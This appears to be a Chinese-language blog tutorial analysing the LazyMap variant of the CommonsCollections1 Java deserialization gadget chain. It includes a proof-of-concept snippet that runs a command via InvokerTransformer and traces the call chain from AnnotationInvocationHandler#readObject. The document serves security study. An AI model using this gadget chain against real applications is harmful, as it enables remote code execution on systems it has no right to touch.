[JavaWeb]反序列化分析(三)--CommonCollections1


[JavaWeb]反序列化分析(三)--CommonCollections1

上一篇不是讲了cc1嘛,怎么还分析cc1?其实是因为上篇分析的是基于jdk8u71以前的版本的,jdk8u71后的TransformedMap源码修改了,使用限制较小。下面就来分析ysoserial中采用LazyMap而不是TransformedMap来进行反序列化的利用

首先就来看看LazyMap怎么触发命令执行

TransformedMap触发是因为set,而LazyMap中触发是因为get操作。“懒加载”-找不到键时,利用factory.transform来获取一个值

在这里的factory是可控的,如果把他替换成恶意的Transform对象,就可以进行利用了

public static void main(String[] args) throws IOException {

        String cmd = "calc.exe"; //cmd命令
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[]{String.class}, new String[]{cmd})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = LazyMap.decorate(new HashMap(), chainedTransformer);
        map.get("adsas");
    }

上述的逻辑很简单,就是当LazyMap使用get找不到时,就会从factory中进行transform,而这里的factory就是chainedTransformer

接下来就要去找哪个类中对Map成员进行了get操作

根据ysoserial找到了AnnotationInvocationHandler#invoke方法

可以看到其中有对Map成员进行get操作

找Invoke方法的触发点--reflect

只要找到成员变量且进行了方法调用,利用ProxyMap,就会触发invoke了

分析

AnnotationInvocationHandler#readObject()
this.memberValues.entrySet()
AnnotationInvocationHandler#invoke()
LazyMap#get()
ChainedTransformer#transform()
ConstantTransformer#tranform()
InvokerTransformer#transform()